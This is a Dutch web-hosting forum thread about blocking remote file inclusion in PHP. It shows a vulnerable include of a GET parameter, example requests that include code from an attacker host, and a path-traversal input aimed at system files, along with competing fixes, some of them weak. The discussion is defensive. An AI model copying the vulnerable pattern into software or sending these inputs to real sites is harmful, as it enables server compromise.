Bekijk Volledige Versie : Externe PHP-code blokkeren?
Ik ben weer bezig met security en zie onveiligheden is bijvoorbeeld dit script.
pagina.php
<?php
include $_GET['id'];
?>
pagina.php?id=http://www.dennis.nl/25.gif
Hij voert dan gewoon de php-code uit die in 25.gif staat... (25.gif = text-file)
Server draait op PHP 4.3.10 met Safe_Mode enabled. Is zoiets te beveiligen?
Ja, allow_url_fopen op off zetten.
Hebben jullie dit allemaal op off?
*EDIT*
Dit staat standaard aan bij een kale server-install. Dit staat na de Plesk/DirectAdmin/cPanel-installatie nog aan. Dit staat na de Zend-installatie nog aan... waarom zetten zij het dan niet uit?
maar globaal zet je zoiets beter niet aan, want er zijn verschillende prefab scripts die ftp:// of http:// gebruiken.
Origineel geplaatst door wv-
maar globaal zet je zoiets beter niet aan, want er zijn verschillende prefab scripts die ftp:// of http:// gebruiken. Globaal (php.ini) kun je het beter op off zetten? Zie mijn edit ook in vorige bericht.
Dat is ook niet de juiste methode. Je moet die $_GET['id'] liefst even matchen met een regular expression ofzo om ook zeker te weten dat 'ie niet begint met bv. "/" of "../". Als je 'm zou matchen met bv. "'^[a-z0-9]\.php$'i" ben je al een heel eind.
Origineel geplaatst door Hans
Dat is ook niet de juiste methode. Je moet die $_GET['id'] liefst even matchen met een regular expression ofzo om ook zeker te weten dat 'ie niet begint met bv. "/" of "../". Als je 'm zou matchen met bv. "'^[a-z0-9]\.php$'i" ben je al een heel eind. In je PHP-code ja... maar ik wil dit security-concern graag voor mijn klanten oplossen...
Standaard op aan. De meeste klanten gaan het lastig vinden dat dit op "af" zou staan als ze een of ander scriptje willen installeren.
Wij laten dit aan staan, maar de klant heeft wel de mogelijkheid een eigen php.ini te zetten in elke web directory. Dit maakt het natuurlijk goed.
Ook moet jij eigenlijk niet inzitten met slechte scripts, die zullen er altijd wel zijn. Zorg gewoon dat indien een website gehackt wordt, de kraker niet verder geraakt dan die klant. Anders ga je de meer advanced php scripters afweren door alle limitaties die je toe past voor de klanten die er niks van kennen.
offtopic: Als jouw server op safe-mode staat, hoe kunnen jouw klanten dan bijvoorbeeld Gallery / grote CMS'n / ... draaien?
Zoals wv- aangeeft is eigenlijk het slimste de server gewoon te beveiligen dmv eigen dirs, en niet meer.
Dit soort scripts zijn gewoon slecht (eigenlijk in hoofdletters).
Ik vrees dat PHP dit soort dingen niet zelf beveiligd met een methode.
Eerder in deze thread werd "allow_url_fopen" aangeraden om uit te zetten, leuk maar daar is het niet voor.
This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol ... etc
Bron (http://nl3.php.net/filesystem)
Geldt dus niet voor je lokale files, want die zijn niet remote je include code blijft gewoon zo.
Jawel, maar dan zou je niets meer van buiten kunnen include. Je kunt dan geen externe php-code includen die alsnog wordt uitgevoerd.
Ik denk dat jullie gelijk hebben. Deze bug pagina.php?id=http://hacker.nl/exploit.php valt gewoon niet te verhelpen als webhost.
allow_url_fopen uitzetten is geen optie. Daarmee beperk je je klanten ernstig. :(
Helaas... PHP-security has failed again :p
ik haal meestal met str_replace de http:// en dergelijke weg.
Je kunt met mod_security filteren op zaken als; http:// of ftp:// dan hoef je ook al die zaken niet in de php configuratie aan te passen, naar mijn idee de beste oplossing voor jouw geval dennis.
Zaken als pagina.php?id=http://hacker.nl/exploit.php
worden dan niet toegelaten aangezien mod_security de http:// herkent als je daarop filtert en dus de betreffende request niet execute.
En? gebruik ik toch gewoon ftp://, gopher, etc.
Kwestie is relatief simpel:
a) php zo beveiligen dat alle klanten beperkingen hebben
b) zorgen dat alle gebruikers afgezonderd zijn
Origineel geplaatst door Mog
Je kunt met mod_security filteren op zaken als; http:// of ftp:// dan hoef je ook al die zaken niet in de php configuratie aan te passen, naar mijn idee de beste oplossing voor jouw geval dennis.
Zaken als pagina.php?id=http://hacker.nl/exploit.php
worden dan niet toegelaten aangezien mod_security de http:// herkent als je daarop filtert en dus de betreffende request niet execute.
maar daarmee fix je dit niet:
fopen('http://'.$_GET['url']);
url: page.php?url=/domain.nl/file.ext
Bottomline, je moet het niet moeilijk maken voor hackers om exploits te gebruiken maar onmogelijk
Origineel geplaatst door roland
maar daarmee fix je dit niet:
fopen('http://'.$_GET['url']);
url: page.php?url=/domain.nl/file.ext
Dan filter je op ".nl" en een hele meuk aan andere extensies er ook nog eens bij, dan is je probleem opgelost in bijna alle gevallen.
Want met enkel fopen uitzetten ben je er nog lang niet, er zijn tal van manieren om externe files via php te executen.
Daarnaast zoals je zelf ook al aangeeft met een chrooted omgeving werken en met voorkeur een php cli versie dus.
Nitroserve
30/01/05, 02:03
Wat ook kan...
Kijken of het bestand bestaat DMV
file_exists($_GET['page'])
kan je iig geen URL's meer gebruiken....
Origineel geplaatst door DennisCitus
Jawel, maar dan zou je niets meer van buiten kunnen include. Je kunt dan geen externe php-code includen die alsnog wordt uitgevoerd.
Ik denk dat jullie gelijk hebben. Deze bug pagina.php?id=http://hacker.nl/exploit.php valt gewoon niet te verhelpen als webhost.
allow_url_fopen uitzetten is geen optie. Daarmee beperk je je klanten ernstig. :(
Helaas... PHP-security has failed again :p
Ook ik ben dagelijks met dit soort zaken bezig Dennis, maar in principe is dit volgensmij vrij snel op te lossen. Als de daemon oid geen schrijfrechten heeft op die map waarin de scripts staan of de mappen waarin die gebruiker mag (basedir restriction), kan er geen data geschreven worden en de host ook nog gehackt worden imo. Indien je hier over wilt praten per pb/msn kan natuurlijk altijd :)
Origineel geplaatst door Nitroserve
Wat ook kan...
Kijken of het bestand bestaat DMV
file_exists($_GET['page'])
kan je iig geen URL's meer gebruiken....
Dennis heeft het over het feit dat niet alle noobklanten dit weten. Zelfs sommige hostingbedrijven welke ik ken hebben dit probleem waardoor makkelijk alle bestanden uit te lezen zijn.
Het feit moet gewoon worden dat er 1 goede oplossing komt die niet per script toegepast dient te gaan worden :)
Ik denk niet dat dit beter zal worden omdat dat onmogelijk is, of apache moet kunnen gedachtenlezen.
Zoals al gezegd is, zet allow_url_fopen op off, maar zo kunnen bedoelde includes van pagina's niet meer werken. Wil je mensen die niet kunnen scripten in gemak tegemoet komen dan zet je dit op on...
Mijn advies: zet hem uit. Een goede scripter zal nooit php files remote hoeven te includen (iig niet op deze manier). Een slecht scripter zal vaak niet de mogelijkheid om niet-lokale files te kunnen includen.
Origineel geplaatst door chielsen
Wil je mensen die niet kunnen scripten in gemak tegemoet komen dan zet je dit op on...
Mijn advies: zet hem uit. Een goede scripter zal nooit php files remote hoeven te includen (iig niet op deze manier). Een slecht scripter zal vaak niet de mogelijkheid om niet-lokale files te kunnen includen.
Absoluut niet waar. Zelfs ik maak gebruik van scripts welke voor de opdrachtgever gebruikt dienen te maken van script op andere servers. Hierbij wordt je dus verplicht de uitvoer te strippen aangezien je geen broncode mag inzien en ben je verplicht http:// oid als extern include te gebruiken.
Controleer via je code of het te includen script komt van het huidige domein van de website, of van een trusted domein vb. http://coding.citus.nl/klantnaam/script1.inc
Zo kan je de code waarvoor je uren hebt gezwoegd op je eigen site houden en niet als code delen met je klanten. Soort van klantenbinding dus ;-)
Origineel geplaatst door chielsen
Mijn advies: zet hem uit. Een goede scripter zal nooit php files remote hoeven te includen (iig niet op deze manier). Een slecht scripter zal vaak niet de mogelijkheid om niet-lokale files te kunnen includen. Dat is zeker niet waar. Verder zou ik hier problemen met mijn klanten mee krijgen.
Mod_Security zal ik overwegen. Maar ik weet alleen van webhostingtalk.nl dat ze er gebruik van maken. En webhostingtalk.nl geeft gigantisch veel Internal Server Errors.
Internal servers heeft denk ik niets te maken met mod_security, default geeft mod_security een 406 error terug. En persoonlijk vind ik dat mod_security meer voordelen dan nadelen heeft.
Origineel geplaatst door handy
Internal servers heeft denk ik niets te maken met mod_security, default geeft mod_security een 406 error terug. En persoonlijk vind ik dat mod_security meer voordelen dan nadelen heeft. Is mod_security een alternatief voor safe_mode? Of...
Ik heb nog steeds geen goede oplossing voor safe_mode gevonden. Het instellen van openbase_dir houdt nog steeds in dat \etc/passwd visible is. (\etc/shadows niet, maar passwd is net zo erg)
*pff... weer Internal Server Error*
Origineel geplaatst door WH-Tim
Absoluut niet waar. Zelfs ik maak gebruik van scripts welke voor de opdrachtgever gebruikt dienen te maken van script op andere servers. Hierbij wordt je dus verplicht de uitvoer te strippen aangezien je geen broncode mag inzien en ben je verplicht http:// oid als extern include te gebruiken.
Niet om het een of ander, maar ik heb het over goede scripters. Als je persee met include niet-lokale bestanden wil includen ben je gewoon niet goed bezig. Je wil altijd zo onafhankelijk mogelijk zijn van bepaalde server instelling. Je kan bijna alle scripts ook wel maken zodat het niet uitmaakt dat safe_mode uitstaat.
Origineel geplaatst door DennisCitus
En webhostingtalk.nl geeft gigantisch veel Internal Server Errors.
Sorry?
Beetje kletsverhaal natuurlijk...
Origineel geplaatst door Domenico
Sorry?
Beetje kletsverhaal natuurlijk... Niet heel vaak nee. Maar het is wel heel storend. Ik heb het de laatste 7 dagen al 5x gehad tijdens het posten. Dan moet je weer allemaal dingen gokken, waardoor het waarschijnlijk niet werd toegelaten enzo.
Dennis>> Mod security ruleert gewoon de pan uit :) Je kan gewoon 95% van de defacements tegen houden als je goede rules hebt. Probeer het eens zou ik zo zeggen!
Origineel geplaatst door handy
Dennis>> Mod security ruleert gewoon de pan uit :) Je kan gewoon 95% van de defacements tegen houden als je goede rules hebt. Probeer het eens zou ik zo zeggen! De goede rules? Je moet hem dus zelf configureren? Kun je hier niet beer templates van downloaden? Ipv. zelf wat aan te modderen?
Origineel geplaatst door handy
Dennis>> Mod security ruleert gewoon de pan uit :) Je kan gewoon 95% van de defacements tegen houden als je goede rules hebt. Probeer het eens zou ik zo zeggen!
En werkt dat goed samen met cpanel systemen?
Origineel geplaatst door chielsen
Niet om het een of ander, maar ik heb het over goede scripters. Als je persee met include niet-lokale bestanden wil includen ben je gewoon niet goed bezig. Je wil altijd zo onafhankelijk mogelijk zijn van bepaalde server instelling. Je kan bijna alle scripts ook wel maken zodat het niet uitmaakt dat safe_mode uitstaat.
Er zijn voorbeelden genoeg waarvan ik eigenlijk geen ga geven, maar op het moment dat een script werkt op de resultaten van een andere pagina (lees bv.: ringtone sites welke elke dag automatisch het content doen updaten), dan zul je altijd externe pagina's moeten laden.
Ook 0900 systemen welke op maat worden gemaakt of andere partners zoals ringtonio / mobilemoney gebruiken hun eigen code waardoor je verplicht wordt http:// -> externe bronnen te gebruiken.
Nu jij weer :)
Origineel geplaatst door WH-Tim
Er zijn voorbeelden genoeg waarvan ik eigenlijk geen ga geven, maar op het moment dat een script werkt op de resultaten van een andere pagina (lees bv.: ringtone sites welke elke dag automatisch het content doen updaten), dan zul je altijd externe pagina's moeten laden.
Ook 0900 systemen welke op maat worden gemaakt of andere partners zoals ringtonio / mobilemoney gebruiken hun eigen code waardoor je verplicht wordt http:// -> externe bronnen te gebruiken.
Nu jij weer :)
Ooit gehoord van sockets?
mod_security kan je zo strak als je zelf wilt instellen, het is eerst wat proberen via trial on error. Er zijn op itnernet genoeg voorbeeld te vinden hoe je mod_security moet instellen.
@bontekoe: mod_security is een apache module werkt bijv prima met ensim, dus zal ook wel met cpanel werken
Origineel geplaatst door chielsen
Ooit gehoord van sockets?
Lijkt me wel zo verstandig. Wat als een hacker het voor elkaar krijgt om een domein naar hemzelf te routeren? Hackt hij in 1x een tig aantal domeinen (als er geen verdere beveiligingsmaatregelen zijn genomen).
Beveiliging is altijd een trade-off. Wellicht een idee om servers veilig in te stellen en een enkele server in te stellen voor klanten die de minder veilige functies daadwerkelijk nodig hebben?
Aloha,
Martin
Dan filter je op ".nl" en een hele meuk aan andere extensies er ook nog eens bij, dan is je probleem opgelost in bijna alle gevallen.
Dan kunnen bestanden al 'lang.nl.php' niet geinclude worden, erg handig... Zullen klanten waarderen die .nl gebruiken in bestandsnamen of querystring. Daarnaast zal je dus ALLE extensie sin een lijst moeten gooien, gaat dus echt nergens over.
Wat ook kan...
Kijken of het bestand bestaat DMV
file_exists($_GET['page'])
kan je iig geen URL's meer gebruiken....
?page=../../../etc/pwd werkt dan wel.
Bottom line is, je moet een oplossing server-matig vinden. Niet script matig!